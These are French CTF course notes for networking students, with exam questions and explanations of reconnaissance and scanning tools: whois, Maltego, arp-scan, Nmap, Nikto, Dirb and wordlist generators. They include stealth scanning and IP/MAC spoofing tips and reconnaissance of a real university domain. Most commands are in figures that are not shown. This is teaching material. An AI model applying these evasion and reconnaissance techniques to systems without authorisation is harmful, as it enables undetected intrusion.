Copyright © 2020 Vincent, Gouyen, Belpaume, Crand, Salespara, Chevallier, Guillemin
Licensed under the Creative Commons Attribution-NonCommercial 3.0 Unported License (the “License”). You may not use this file except in compliance with the License. You may obtain a copy of the License at http://creativecommons.org/licenses/by-nc/3.0. Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an “as is” basis, without warranties or conditions of any kind, either express or implied. See the License for the specific language governing permissions and limitations under the License.

Première partie

Compétences pour le DS

Afin de vous aider à préparer le DS sur le module CTF, nous allons vous proposer de focaliser vos révisions sur plusieurs concepts que l’on va énoncer ici.

• Définir un CTF

• La règle de l’ethical hacking

• Les deux types de collecte d’informations et leurs différences

• Citez les deux principales choses à faire en début de CTF

• Donner les étapes du 3-way Handshake

• Expliquer le principe du spoof

• A part le spoof donner un moyen de se faire discret sur le réseau pour Nmap et Nikto par exemple

• Donner la différence entre une attaque par dictionnaire et par bruteforce

• Quel est le principal inconvénient de faire soi-même un dictionnaire aléatoire ?

• Donner une raison de faire un DOS et expliquer l’une de ses attaques

• Donner le principal avantage des cookies et son inconvénient

• Donner le risque d’une faille XSS

• Rappeler la structure d’une base de données

• Quel outil permet d’exploiter une faille SQL et que faut-il faire afin d’éviter cette faille ?

• Quel est l’intérêt de Burpsuite contre un formulaire ou un upload ?

• Quelle est la principale force de Metasploit ?

• Décrire brièvement l’architecture modulaire de Metasploit

• Quel est l’intérêt d’avoir une architecture modulaire (Metasploit)?

• Quelles sont les différences entre un reverse shell "classique" et un reverse shell avec Meterpreter?

• Quelles sont les différences entre un stageless et un staged payload? (Meterpreter)

• Qu’est ce qu’un exploit/payload/Encoders ?

• Si vous aviez un mot de passe hashé à tester, quel outil utiliseriez-vous ?

• Donner l’utilité de l’outil Steghide

• Expliquer ce qu’est un reverse-shell ainsi que son fonctionnement

• Donner une méthode pour devenir administrateur d’une machine et l’expliquer

Planning

— 2 CM total : 3H45
— 3 TP de 3h

Notation : $\dfrac{Note_{DS}+Note_{TP}}{2}$

*Première séance CM

Présentation de la « zone de travail », généralisation des attaques WEB, présentation du principe d’attaque pour les CTF WEB, collecte d’informations.

*Deuxième séance CM

Présentation des failles, des outils d’exploitation, infiltration par reverse-shell.

Introduction

La sécurité informatique au sein d’une entreprise est aujourd’hui devenue le domaine avec le plus grand enjeu. Il faut donc du personnel spécialisé dans ce dernier afin de la mettre en place. On se rend facilement compte que le meilleur moyen de s’améliorer dans ce milieu est dans un premier temps de se documenter puis de réaliser des attaques pour savoir par la suite comment s’en défendre. C’est à ce moment-là que le "Capture The Flag" ou bien "Capturer Le Drapeau" intervient. A l’origine, un CTF est un jeu à l’air libre où deux équipes s’affrontent pour s’emparer du drapeau de l’adversaire. On peut alors s’apercevoir que le monde informatique est semblable à celui réel. Un CTF est alors un concept ayant pour but d’infiltrer une machine cible et de trouver un document, le "flag". Le CTF s’est démocratisé en 1996 lors des premières compétitions organisées par la DEF CON. La DEF CON est la convention de hackeur la plus connue du monde.
Les CTF s’inspirent de la vraie vie même si cela reste un terrain d’entraînement. Les CTF reposent sur plusieurs domaines qui sont : le reverse engineering, l’exploitation web, le forensic, le réseau, la cryptographie, la sécurité mobile, la stéganographie et d’autres encore. Tous ces domaines sont les piliers de la sécurité informatique. Il faudra donc être polyvalent afin d’exploiter les failles et de résoudre un CTF. Nous allons donc voir lors de ce cours les différents moyens de parvenir à nos fins.
Nous tenons à rappeler qu’il est strictement interdit de pratiquer de l’ethical hacking sur un réseau qui n’est pas le vôtre et où vous n’avez pas l’autorisation de réaliser une attaque. Ce cours a été créé dans un but éducatif et non malveillant.

Deuxième partie

Le CTF

Un CTF¹ ou "Capture The Flag" est une activité consistant à s’introduire dans une machine cible vulnérable pour y trouver un drapeau en guise de victoire. Les possibilités de CTF sont extrêmement vastes et ces dernières nécessitent des connaissances dans de multiples domaines. C’est pour cette raison que nous allons nous concentrer sur les CTFs "Web" afin de pouvoir exploiter complètement vos connaissances en sortie d’IUT R&T.

Avant de commencer à vous présenter des attaques bien précises, nous allons vous expliquer les différents angles d’attaques que nous pouvons retrouver généralement lors d’un CTF. En effet, il y a toujours un "protocole" à suivre lors de la réalisation d’une attaque qui va nous permettre de résoudre un CTF. Ce protocole se divise en trois grandes phases qui sont :

• La collecte d’informations

• L’exploitation de ces informations via des failles

• L’intrusion dans le système cible avec possibilité de devenir administrateur
  

Chacune de ces phases contient des sous-phases en fontion des outils utilisés et donc des failles. Comme vous pouvez le voir sur le schéma indiqué dans la figure [fig:schema-ctf], une attaque est coupée en trois parties. La première qui se nomme "Recherche d’informations active". C’est une sous-catégorie de la recherche d’informations. En effet, au sein de ce schéma, on va considérer que la recherche d’informations passive a déjà été effectuée car elle n’est pas obligatoire. La deuxième phase nous présente les outils que nous utilisons en général pour utiliser les informations récupérées via la phase précédente et ainsi exploiter des failles. Ces trois outils sont les suivants : Burpsuite, SQLMAP et Metasploit. Burpsuite va être utilisé pour contourner des restrictions dans un formulaire via son proxy et ainsi permettre la création d’un reverse-shell par exemple. SQLMAP va nous permettre d’exploiter des failles SQL et ainsi dévoiler une base de données. Metasploit est quant à lui beaucoup plus complexe. En effet, l’ensemble d’un CTF pourrait être entièrement réalisé avec cet outil car il regroupe l’ensemble des outils de pentest ainsi que d’autres modules tel que Meterpreter. Le but de cette phase est donc d’obtenir directement un reverse-shell ou bien des informations qui pourraient être cryptées. C’est donc à partir de ce moment qu’il faudra choisir la branche adéquate pour réaliser son CTF.

Comme on a pu le comprendre, aucune attaque n’est la même et c’est en pratiquant que l’on peut comprendre pourquoi utiliser un outil plutôt qu’un autre. Cependant, avant d’utiliser ces outils, nous allons nous pencher sur notre environnement de travail.

Kali Linux est une distribution Linux, basée sur Debian, orientée sur la sécurité informatique. Anciennement BackTrack, cette distribution a su se réinventer en devenant Kali et ainsi regrouper un nombre « incalculable » de logiciels conçus pour la sécurité et l’intrusion informatique. C’est pour cette raison que nous avons choisi de travailler sur cette distribution afin d’effectuer des CTF.

Pour commencer un CTF, il nous faut aller chercher une machine virtuelle attaquable. Pour cela, nous pouvons aller sur le site de Vulnhub et récupérer un fichier avec l’extension .OVA. Vulnhub est un site répertoriant des CTFs créés par la communauté. Il est donc très facile de s’exercer via ce site.
Ce fichier OVA contient notre machine cible que l’on pourra allumer sous Virtualbox comme vu en figure [fig:import-ova].

Après avoir réalisé cette étape, vous pourrez aller vous occuper des interfaces réseaux de votre Kali et de votre CTF afin qu’il puisse communiquer entre eux. En général, le CTF sera configuré en dhcp ce qui vous permettra d’utiliser le réseau NAT ou bien le mode Pont/Bridge. Pour rappel, le réseau NAT sous Virtualbox créé un routeur et un service DHCP entre votre ordinateur et votre machine virtuelle. Ainsi, cette dernière a accès à internet et à son propre réseau. Le mode Pont va vous permettre d’annoncer votre machine virtuelle comme machine à part entière sur votre réseau. Ainsi, la VM pourra communiquer sur votre réseau et obtenir via DHCP une adresse si le service est activé sur le réseau. Dans les deux cas, pensez à mettre votre machine attaquante et cible dans le même réseau. Une fois que cette configuration est faite, vous pourrez allumer vos machines et commencer votre attaque tout en respectant l’ordre d’attaque.

Techniques de collecte d’informations

Lors du début de chaque CTF ou de pentesting en général, il y a une phase très importante qu’il ne faut pas oublier qui est la recherche d’informations sur la machine à attaquer. Il existe 2 types de recherche d’informations :

• Collecte d’informations passive

• Collecte d’informations active

Nous verrons dans un premier temps la collecte d’informations passive d’une cible puis la collecte d’informations active.

La collecte d’informations passive est le moyen par lequel un attaquant peut récupérer des informations sur une entreprise ou une machine, sans entrer directement en contact avec cette dernière. En effet, ces informations sont la plupart du temps trouvable sur internet.

Par exemple, à partir de recherches sur internet, on peut trouver des adresses IP ou encore des emails ou des noms de domaines. Toutes ces informations peuvent être d’ordre publique. Une simple commande ping sur un site internet permet de récupérer une adresse IP. Imaginez par exemple, une attaque contre http://rt.iut-velizy.uvsq.fr/. Il va falloir dans un premier temps déterminer quels systèmes sont utilisés par la société et quels sont les systèmes que nous pouvons attaquer. De plus, certains systèmes peuvent ne pas appartenir à la société cible et pourraient alors être considérés comme hors de portée de l’attaque.

Whois ("Qui est" en francais) est un outil permettant d’interroger des bases d’informations (registres) concernant les noms de domaines et adresses IP. Les données contenues dans ces bases ne comportent aucune forme de garantie mais permettent généralement de retrouver le propriétaire d’un domaine ou d’une machine.

Il existe plusieurs bases de données connues:

• RIPE NCC (Réseaux IP Européens, whois.ripe.net) pour l’Europe

• APNIC (Asia Pacific Network Information Center) pour l’Asie et le Pacifique

• ARIN (American Registry for Internet Numbers, whois.arin.net) pour l’Amérique du Nord et l’Afrique Sub-Saharienne

• LACNIC (Regional Latin-American and Caribbean IP Address Registry, whois.lacnic.net) pour l’Amérique latine et les Caraïbes

• INTERNIC (whois.internic.net) pour les autres parties du globe

Il existe des sites sur internet permettant d’utiliser cet outil. Il est également présent sous Kali linux.
Utilisation de la commande whois avec Kali linux:
Nous allons utiliser whois sur le site uvsq.fr dans figure [fig:whois].

La commande whois nous donne des informations sur le nom de domaine uvsq.fr. On apprend ici les différents serveurs DNS qui gèrent ce domaine dans la figure [fig:whoisdns].

Whois est capable de récupérer l’email de l’administateur qui gère le domaine uvsq.fr. Ces informations peuvent être plus ou moins utiles lors d’une attaque.

Il est également possible de spécifier l’adresse IP de www.uvsq.fr pour récupérer des informations relatives à l’adresse IP comme vous pouvez voir en figure [fig:whoisip].

— Le champ inetnum correspond à une plage d’adresse IP détenue par le domaine en question. Par exemple, pour le domaine uvsq.fr sa plage d’IP sera comprise entre 193.51.33.0 et 193.51.33.255.
Un simple script en python permet de vérifer cela et d’obtenir un résultat visible en figure [fig:resultatprogpy]. (Script en annexe [fig:nslookup])

On constate à travers cette capture que les IP de la plage pointent vers le nom de domaine uvsq.fr. Cela peut être très utile pour cibler des services à attaquer avec leur IP public. Par exemple, l’IP 193.51.33.3 semble correspondre à un potentiel serveur mysql à en croire son nom. On remarque également que l’autorité de uvsq.com a créé un alias de l’enregistrement www vers preprod.uvsq.com, puisque ces noms ont les même IP et qu’ils redirigent tous deux vers le site internet de l’uvsq.
— Le champ netname correspond au nom donné à une plage d’adresses IP. Un nom de réseau est composé de lettres, de chiffres, du caractère de soulignement et du trait d’union. Le premier caractère d’un nom doit être une lettre, et le dernier caractère d’un nom doit être une lettre ou un chiffre.

L’outil Nslookup est un outil implanté sur beaucoup de systèmes d’exploitation (OS) tel que Windows ou Linux. Cet outil permet de faire des résolutions DNS à partir d’un nom de domaine. En effet, cela est très pratique lorsqu’on veut récupérer une IP à partir d’un nom tel que www.uvsq.fr.
Fonctionnement requête DNS
Nous allons ici présenter le bref fonctionnement d’une requête DNS puisque cette partie a déjà été expliqué dans d’autres modules auparavant. En premier lieu, le DNS permet d’associer un nom à une IP ce qui est très utile pour l’être humain.
Le protocole DNS est un protocole UDP avec comme numéro de port 53. Le DNS est un modèle réparti hiérarchisé, sa mise en œuvre requiert plusieurs serveurs qui prennent en charge individuellement la traduction de parties complémentaires de l’espace des noms afin de rendre plus souple le traitement des sollicitations. Ces parties appelées "zones" sont en fait des domaines de noms dont l’administration est définie et attribuée à un ou plusieurs serveurs.

La figure [fig:repartitiondns] nous présente un schéma de la répartition des zones DNS.

Le domaine Racine est géré par les 13 serveurs DNS nommés <x>.root-servers.net, où <x> est une lettre comprise entre ‘a’ à ‘m’. Ces serveurs racines sont gérés par des organisations différentes nommées par l’ICANN. Les domaines enfants sont dits les domaines de premier niveau ou TLD (Top Level Domain). On y retrouve le domaine .com, .fr etc...

Expliquons maintenant ce qu’il se passe lorsqu’un client effectue une requête DNS.

Il existe deux types de requête DNS. Les requêtes itératives, et récursives. Nous ne présenterons ici que les requêtes récursives, comme illustré sur la figure [fig:dns2].

1. Le client effectue une requête DNS à son serveur DNS local.

2. Le serveur DNS contacte le serveur racine pour récupérer l’ip du serveur TLD de la zone fr.

3. Le DNS local contacte le TLD de la zone fr pour récupérer l’ip du sous domaine oktey.

4. Ce dernier contacte le serveur qui fait autorité sur la zone oktey.fr pour récupérer l’ip associé à l’enregistrement mx de mail.okley.fr.

On constate qu’avec l’utilisation des requête récursives, c’est le serveur DNS local qui s’occupe de faire toutes les requêtes.
Avec l’outil Nslookup, il est également possible d’effectuer une résolution inverse. En effet, cette dernière permet de récupérer le nom associé à une adresse IP. Pour ce faire, on utilise le domaine in-addr.arpa (RFC 1035) pour retrouver le nom associé.

La technique de résolution inverse a été utilisée dans la figure 2.4. En effet, à partir de la plage d’IP récupéré avec l’outil whois, on peut effectuer des résolutions inverses pour tenter de récupérer le nom derrière ces IP. Ainsi, cela peut nous indiquer un service qui serait hébergé par cette IP. A partir de là, il sera plus facile d’orienter nos recherches pour continuer l’attaque.

Maltego est un outil open source intélligent permettant la recherche d’informations précises sur une personne ou une entreprise. On appel ce genre d’outil un footprinting (reconnaissance passive). Maltego permet l’automtisation des tâches de recherches. Ainsi, avec ces informations, Maltego les représentent sous forme d’un graphique détaillé.

Dans la figure [fig:graphmaltego], on peut voir l’utilisation de Maltego sur le domaine uvsq.com. On peut donc récupérer des adresses mails, des numéros de téléphone, des noms de personnes ainsi que les sous domaines DNS associés à uvsq.com. Il est également possible de récupérer des adresses IP ainsi que le numéro d’AS sur lequel le site est hébergé.
Pour fonctionner, Maltego travaille à partir de bases de données ainsi que de recherches faites sur le web. En somme, cela évite à l’utilisateur de faire de longues recherches pour trouver une information sur une personne ou un site. Cela peut être extrêmement utile lors de la collecte d’informations sur une entreprise. En effet, avec les informations que nous pouvons récupérer, il serait possible de cibler plus facilement les attaques ou même de faire du phishing avec les adresses emails obtenues.

La collecte d’informations active va consister à reccueillir des informations en effectuant des requêtes sur le réseau et/ou machine cible. Cette étape va donc nous permettre de récupérer des informations telles que l’IP, l’adresse MAC, les ports ouverts, etc... Sans cette phase, une attaque serait impossible. C’est pourquoi il est important de penser à marquer dans un fichier texte l’ensemble des informations obtenues au cours de cette recherche. Nous allons dans cette partie vous présenter les outils adéquats et leur fonctionnement afin que vous puissiez obtenir facilement les données que nous pourrons exploiter par la suite. Nous verrons les outils suivants :

• Arp-scan en tant que scanneur de machines

• Nmap en tant que scanneur de ports

• Dirb / Dirbuster en tant que scanneur de répertoire Web

• Nikto en tant que scanneur de vulnérabilités

Arp-scan est un utilitaire qui permet d’obtenir les adresses IP d’un réseau via la couche 2 du modèle OSI . Le modèle OSI est une norme d’exemple pour tous les types de transmissions réseaux. Ce modèle peut être vu comme en figure [fig:osi].

La couche 2 est la couche de liaison de données. Cette dernière correspond à l’adressage physique des machines, soit l’adresse MAC. L’adresse MAC est l’adresse unique d’une interface réseau d’un équipement. Cette adresse est codée en hexadécimal en 6 octets.
Fonctionnement d’Arp-scan
Cet outil va envoyer une requête ARP en broadcast sur le réseau et afficher l’IP, l’adresse MAC ainsi que, si possible, l’origine de chaque hôte. Si un hôte ne répond pas, le paquet ARP sera envoyé à nouveau. Le nombre maximum de tentatives peut être modifié avec l’option –retry. Cependant, si l’on réduit le nombre de tentatives, alors cela réduira le temps du scan mais engendrera le risque de perdre certains résultats en raison de la perte de paquets. Comme vous pouvez le voir sur la figure [fig:arpscanwireshark], la capture Wireshark effectuée après un "arp-scan" se présente de la même manière qu’une requête ARP.

Le protocole ARP est un protocole de niveau 2 (couche de liaison de données) qui est utilisé pour déterminer l’adresse MAC (couche 2) d’un hôte distant à partir de son adresse IP (couche 3). Le protocole ARP a été conçu pour fonctionner avec n’importe quel format d’adresse de couche 2 et de couche 3, mais l’utilisation la plus courante est de cartographier un réseau. Cependant, cet outil ne peut être utilisé que sur des réseaux LAN car les requêtes ARP ne peuvent pas être routées dans le cas d’un scan de réseau Local. Ce protocole utilise des adresses IP, mais il n’est pas basé sur IP. Ainsi, Arp-scan peut être utilisé sur une interface qui n’est pas configurée pour IP. La figure [fig:arpscanl] présente l’utilisation la plus commune de cet outil.

Une fois l’IP cible récupérée, nous allons pouvoir analyser ses ports avec Nmap.

Nmap est un utilitaire permettant de scanner les ports ouverts d’une machine ou d’un ensemble de machines présentes dans un même réseau. Les ports (logiciels) d’une machine permettent de distinguer les différents programmes qui écoutent et transmettent des informations sur cette machine. En effet, chaque programme ou service se verra atribuer un numéro de port qui servira à identifer le processus associé. En trouvant ces ports, Nmap se rend comme l’élément essentiel d’une attaque réseau. En effet, sans cette analyse, nous serions incapable de trouver un chemin d’attaque à moins d’avoir une chance inouïe. C’est pourquoi nous allons utiliser cet utilitaire pour résoudre nos CTFs.
Fonctionnement de Nmap
Pour comprendre comment fonctionne Nmap, il va falloir revoir les bases du protocole TCP grâce à la figure [fig:3way].

Le protocole TCP de TCP-IP est situé au niveau de la couche Transport du modèle OSI (couche 4). Il va nous permettre d’établir une connexion fiable et sans pertes. Dans un premier temps, TCP va établir la connexion via le Three-way Handshake qui sont :

• SYN

• SYN ACK

• ACK

A la suite de cette étape, le protocole de plus haut niveau faisant les requêtes pourra émettre et sera suivi dans un ACK TCP pour s’assurer de l’intégrité de la trame comme on peut le voir sur la figure [fig:acktcp].

Sur l’exemple ci-dessus, on peut voir dans la section "Info" de Wireshark que les ports sont indiqués. On comprend alors que TCP ne cible pas une IP mais un socket. Un socket est l’ensemble de l’adresse IP et du port utilisé. Il est souvent représenté sous la forme suivante : 192.168.1.200:80. C’est donc en faisant varier le port du socket que Nmap pourra détecter si un port est ouvert ou non. Ainsi, si Nmap reçoit une réponse que de la machine cible à la suite d’un SYN TCP, cela voudra dire que le port est ouvert.
Maintenant que nous avons compris comment Nmap détecte si un port est ouvert ou non, nous allons nous intéresser à la détection du service associer à ce port. En effet, Nmap peut fournir le nom et même la version d’un service déployé sur un port d’une machine cible.
Pour cela, l’outil se base sur deux fichiers qu’il utilise comme dictionnaire. Ces deux documents se situent dans son dossier d’éxécution et sur internet :

• nmap-services: https://svn.nmap.org/nmap/nmap-services

• nmap-services-probes: https://svn.nmap.org/nmap/nmap-service-probes

Le fichier nmap-services contient une association de nom de service en fonction du port. En effet, il existe trois catégories de ports :

• 1-1023 : Well-known ports

• 1024-49151 : Registered ports

• 49152-65535 : Dynamic ports

Les "Well-kown ports" sont des ports attitrés à des service par l’IANA (Internet Assigned Numbers Authority). Ces services sont les plus connus du monde des réseaux et doivent être éxécutés en tant qu’administrateur. Les "Registered ports" sont eux aussi attribués par l’IANA mais ne nécessitent pas d’une éxecution en tant qu’administrateur. Les "Dynamic ports" ou ports dits "éphémères", comme le nom l’indique, sont distribués de manière dynamique par le système d’exploitation afin de pouvoir rentrer en contact avec un service. C’est donc en fontion de ce recensement que Nmap met à jour sa liste nmap-services. La question la plus légitime à la suite de cette explication est la suivante :
"Comment Nmap peut récupérer le nom d’un service déployé sur un port n’ayant pas été répertorié ?"
Nmap vous répondra en fonction de votre requête. En effet, si vous n’effectuez qu’un simple scan, l’outil ne va s’appuyer que sur nmap-services pour détecter le service. Cependant, si vous vous voulez avoir de plus amples informations sur le port, il vous faudra effectuer un scan de version. Ce scan se base sur le fichier "nmap-service-probes". Ce dernier contient des requêtes à effectuer en fonction des ports ouverts et des expressions régulières à tester avec la réponse du services. Si le test est positif, Nmap pourra afficher les informations présentes à la suite de l’expression régulière. Ce type de scan est donc beaucoup plus précis. La figure [fig:fonctionnementnmap] représente donc le fonctionnement de base de Nmap.

Nous allons voir maintenant comment appliquer ce fonctionnement à un CTF.

Application de Nmap
Dans cette partie, nous allons voir comment utiliser Nmap en ligne de commandes (CLI) en fonction des informations que l’on souhaite récupérer.
Mode basique
Si vous souhaitez ne faire qu’un scan rapide sans option, la figure [fig:scanbasique] présente la commande à effectuer.

Comme on peut le voir ci-dessus, le résultat de ce scan simple nous permet de savoir que le port 80 est ouvert et que le sevice associé est HTTP. Si on observe un peu plus cette capture d’écran, on peut voir que Nmap a résolu via DNS le nom de notre cible qui est ici bulldog2-1.
Du côté de Wireshark, nous pouvons observer, en figure [fig:wirebasique], sa technique de détection de port que l’on nomme "la semi-ouverture de ports".

Dans le cas ci-dessus, l’attaquant est en 10.0.2.15 et la cible en 10.0.2.8. On se rend compte Nmap ne complète pas le Three-way Handshake et coupe brutalement la connexion via un RST TCP. Ce scan est très rapide mais manque d’informations et est très visible sur le réseau... Il n’est pas forcément à privilégier.
Scan de version
Si vous souhaitez obtenir des informations concerant le serveur de déployement du service afin de trouver des failles associées, il vous faudra utiliser l’option -sV de Nmap visualisable en figure [fig:sv].

Ce scan affiche une nouvelle colonne qui contient les informations du service. Regardons ce qu’il se passe au niveau de Wireshark en figure [fig:svwire].

Dans un premier temps, nous retrouvons bien la demi-ouverture de port puis Nmap effectue le 3-way Handshake afin de se connecter au service qui est ici HTTP. Il va ensuite aller chercher dans son dictionnaire nmap-service-probes les requêtes à effectuer afin d’obtenir des informations. Dans notre cas, il va commencer par effectuer un GET et obtenir une réponse dans le HTTP/1.1 200 OK. Cela signifie que la page existe et que son retour est positif. Par exemple, si nous avions ouvert la réponse envoyée par la cible, nous aurions vu tout le contenu HTML de la page. Cette réponse est donc comparée à des expressions régulières présentes dans le fichier nmap-service-probes. Ce type de scan est donc plus approprié afin de trouver des failles. Cependant, il existe un moyen beaucoup plus complexe et complet qui est le scan via script.
Scan par script
Dans le but d’obtenir des informations très précises, Nmap peut aussi s’éxecuter avec l’aide de scripts. Cette méthode s’appelle "Nmap Scripting Engine" ou NSE et s’appuie donc sur les mécanismes de Nmap et sur la légèreté des scripts Lua. Le langage Lua est très présent dans le monde du réseau comme par exemple dans Wireshark, dans les routeurs Cisco et d’autres. Nmap contient dans son répertoire près de 601 scripts regroupés sous 139 catégories. Il est donc tout à fait possible de créer un script et de l’excécuter avec Nmap. Cependant, nous allons nous baser sur un script déjà fait et qui exécute plusieurs scripts de différentes catégories afin d’obtenir des réponses précises et variées. Ce script est l’option par défault choisi par Nmap lors de la présence de l’argument -sC comme indiqué sur la figure [fig:nse].

On s’aperçoit que la quantité d’informations est très importante. Ce type de scan est le moyen ultime pour récupérer le plus d’informations possible. Il sera donc à privilégier lors d’un CTF.

Devenir invisible
Avoir des informations, c’est bien, mais les récupérer en étant discret, c’est mieux. En effet, si la machine cible n’était pas un CTF mais un cas réel d’attaque, il nous faudrait apprendre à ne pas être détécté. Il existe de multiples moyens que nous allons voir ici. Dans un premier temps, il faut savoir que Nmap utilise l’option -sS par défaut. Ce mode permet à Nmap de ne réaliser qu’une demi-ouverture de porte. Cet option est essentielle afin de ne pas être détecté trop vite. Ensuite, nous avons la possiblité d’usurper notre identité via un spoof MAC et IP comme on peut le voir sur la figure [fig:spoofip]

Cette méthode consiste à se faire passer pour quelqu’un du réseau via son adresse MAC et IP. L’option -g permet d’indiquer vers quel port de la machine usurpée Nmap va rediriger les échanges. L’option -e indique sur quelle interface réseau la machine attaquante va recevoir les informations telles que l’attaque "Man in the middle". Enfin, l’option -Pn n’est pas obligatoire mais elele est conseillée par Nmap en cas d’usurpation d’identité. En effet, cette option permet de bloquer le protocole ICMP et ainsi de ne pas être découvert.
La seconde méthode permet d’être moins visible vis à vis d’un firewall et de cibler les ports les plus connus tout en réduisant le temps de scan de ports. En moyenne, la durée d’un scan par défaut de Nmap est de 1 seconde. Il est possible de faire varier le temps d’un scan afin de faire baisser le nombre d’ouverture de ports par seconde en utilisant l’argument -Tx. Il est à notifier que le x est comprit entre 0 et 5 et que plus le x sera grand, plus le scan sera agressif.

Cependant, si on recherche à être discret et que l’on choisit un x valant 1 ou 0, le scan risque d’être très long... En effet, l’option -T1 réalise le scan en 30 secondes minimum tandis que le -T0 le réalise en 10 minutes ! La solution la plus adaptée est donc de cibler des ports stratégiques avec l’argument -p comme indiqué dans la figure [fig:port].

Nous avons donc compris dans cette partie que l’outil Nmap est essentiel lors d’une attaque et qu’il comporte énormément de fonctionnalités.

Nikto est un outil écrit en Perl permettant le scan de vulnérabiltés sur un serveur Web. Il permet de tester la sécurité de la configuration d’un serveur web (les options HTTP, les index, les potentielles failles XSS, injections SQL etc…).
Avant de montrer ce que peut réaliser Nikto, nous pouvons dans un premier temps revoir comment fonctionne une requête Web. Parmis les ports réservés, les serveurs Web utilise le port 80 pour HTTP et le port 443 pour l’HTTPS. Pour comprendre le fonctionnement, nous allons analyser un échange entre un client et un serveur sur la figure [fig:webdiag].

Comme on peut le voir, le schéma sur la figure [fig:webdiag]. ainsi que la capture wireshark en figure [fig:niktowire] montrent l’échange minimal entre un navigateur et un serveur Web afin d’obtenir une page HTML via HTTP. Une page Web utilse le protocole TCP pour transmettre les paquets. En effet, lorsque nous chargeons une page Web, nous la voulons complète et sans erreurs. C’est pourquoi le protocole TCP existe. Au début de chaque trame TCP, il ya une synchronisation de la connexion avec le "3 way handshakes". Passons maintenant à la couche applicative : les envois HTTP sont directement émis par le navigateur et par le serveur Web. Ici, c’est notre navigateur qui fait une requête GET au serveur pour obtenir l’ensemble de la page Web voulue. Il existe plusieurs types de requêtes Web (GET, POST, HEAD, ...) mais seul le GET va nous intéresser car il est le plus utilisé.

Lors du scan, Nikto est capable de :
- Vérifier si la version du serveur est obsolète ainsi que les logiciels et modules qui sont utilisés par ce dernier.
- Scanner les répertoires, qui peuvent contenir des informations sensibles.
- Tester près de 6000 fichiers potentiellement vulnérables.
De plus, Nikto supporte les connexions SSL.

Pour lancer un simple scan, il suffit de taper la commande :

On peut remarquer grâce à cette capture wireshark que par défaut, Nikto scanne le port 80 :

Afin de scanner un port précis, il faut ajouter l’argument -p:

Dans cette capture, nous venons de scanner l’IP sur le port 80 (http). Il également possible de cibler plusieurs ports en même temps:

A partir de ces captures, on peut en déduire que Nikto est capable de nous fournir le logiciel qui permet de faire fonctionner le serveur web, sa version et également le système d’exploitation utilisé. En effet, toutes ces informations sont comprises dans l’entête des réponses HTTP du serveur. Nikto est également capable de vérifier les mauvaises configurations de services ou de programmes mal sécurisé. Cet outil propose également des plugins permettant la recherche d’autres vulnérabilités ou de fichier pouvant être intéressant dans un CTF tel que le fichier robots.txt. Ce fichier permet le référencement d’un site WEB par les robots de Google. Cependant, l’administrateur peut empêcher le scan de certains répertoires par les robots en précisant dans ce fichier quelques paramètres. Ainsi, grâce à cela, un attaquant peut utiliser ce fichier pour découvrir des répertoires que l’administrateur aurait voulu cacher.

On comprend à travers cette capture que le paramètre Disallow empêche le scan de ce répertoire.
Une méthode pour gagner en discrétion pendant l’attaque serait d’effectuer un scan par intervalle. En effet, si on effectue un scan toutes les 10 secondes, cela paraîtra moins suspect qu’un scan toutes les 1ms. Cela est possible en ajoutant l’option -Pause 10 en argument :

Voici une capture wireshark de ce scan avec l’ajout de l’argument :

On remarque l’utilisation du protocole NTP (Network Time Protocol) qui permet ici de mettre en place le temps de pause.

Après avoir réalisé un scan via Nmap et repéré qu’un serveur Web est activé, Dirb sera là pour vous guider à travers les pages car il est un scanneur de contenu Web. Son but est de trouver l’existence d’objets web, qu’ils soient cachés ou non. Son fonctionnement réside en la lancée d’une attaque par dictionnaire contre un serveur web et d’en analyser la réponse.
Cependant, il existe une différence entre une attaque par dictionnaire et une attaque par bruteforce pure.
Une attaque par dictionnaire est une attaque que l’on utilise dans la cryptanalyse (technique de déduction d’un texte en clair par rapport à un texte chiffré sans la clé de chiffrement) pour justement trouver un mot de passe ou une clé de chiffrement. Son fonctionnement consiste à tester une liste donnée de mots de passe potentiels, un par un, en espérant que le mot de passe de chiffrement soit l’un deux. Cette technique ne marche donc pas systématiquement et il faut une énorme liste de mots de passe et du temps pour qu’elle soit efficace. L’intérêt d’installer des dictionnaires supplémentaires serait utile dans les cas de mots de passe très complexes. C’est d’ailleurs à cause de ce genre d’attaque que l’on conseille de mettre des mots de passe compliqués, car ceux courants sont bien plus simples à trouver avec ce genre d’attaque.

Comme nous l’avons plus haut, Dirb se base sur un dicitonnaire afin de réaliser son scan. Nous avons donc quatre possibilités :

• Créer un dictionnaire à partir d’une page Web

• Créer un dictionnaire sous forme de pattern

• Créer un dictionnaire aléatoire

• Utiliser un dictionnaire présent dans le répertoire de Dirb
  

Créer un dictionnaire à partir d’une page Web
Cette méthode est plus utilisée avec l’outil John que Dirb mais il est important de l’expliquer ici. En effet, utiliser des mots présents sur une page Web peut être intéressant dans le cas où nous avons un mot de passe hasher à découvrir. Il vous faudra donc télécharger la page Web en question via un wget et réaliser la commande suivante :

C’est ainsi que nous pouvons créer un premier dictionnaire assez rapidement.
Créer un dictionnaire sous forme de pattern
Lorsque que l’on connaît une partie du mot ou page que l’on recherche, utiliser un pattern peut être la solution. Un pattern est une forme commune qui va varier sur une partie pré-définie. Gendict est l’outil de création de dictionnaire avec pattern que nous allons utiliser ici. Il vous faudra cependant l’installer via le paquet "icu-devtools". Voici son utilisation :

On comprend ici que le X sera la variable du pattern. Il est donc tout à fait possible de créer un dictionnaire sans pattern en mettant un nombre de X correspondant à la taille recherchée comme ceci :

L’option -s permet d’obtenir aussi les majuscules. Les deux principaux défauts de Gendict en tant que créateur de dictionnaires aléatoires sont les suivants :

• Le manque de caractères spéciaux

• La taille est fixe en fonction du nombre de X

C’est pour cette raison qu’il existe un autre outil spécialisé dans la conception de dictionnaires aléatoires.
Créer un dictionnaire aléatoire
L’outil que nous considérons comme le plus efficace en terme de création de dictionnaires aléatoires est l’outil Crunch. Ce dernier, en plus de réaliser du pattern, complète les défauts de Gendict. Nous allons vous présenter la manière pour réaliser le dictionnaire le plus complet possible de manière aléatoire. Tout d’abord, Crunch se base sur un dictionnaire se nommant "charset.lst". Vous y retrouverez les séries de caractères que vous pouvez choisir pour réaliser votre dictionnaire. Dans notre cas, nous avons choisis d’utiliser la série mixalpha-numeric-all-space et nous l’avons enregistré dans un fichier dico.txt comme ci-dessous :

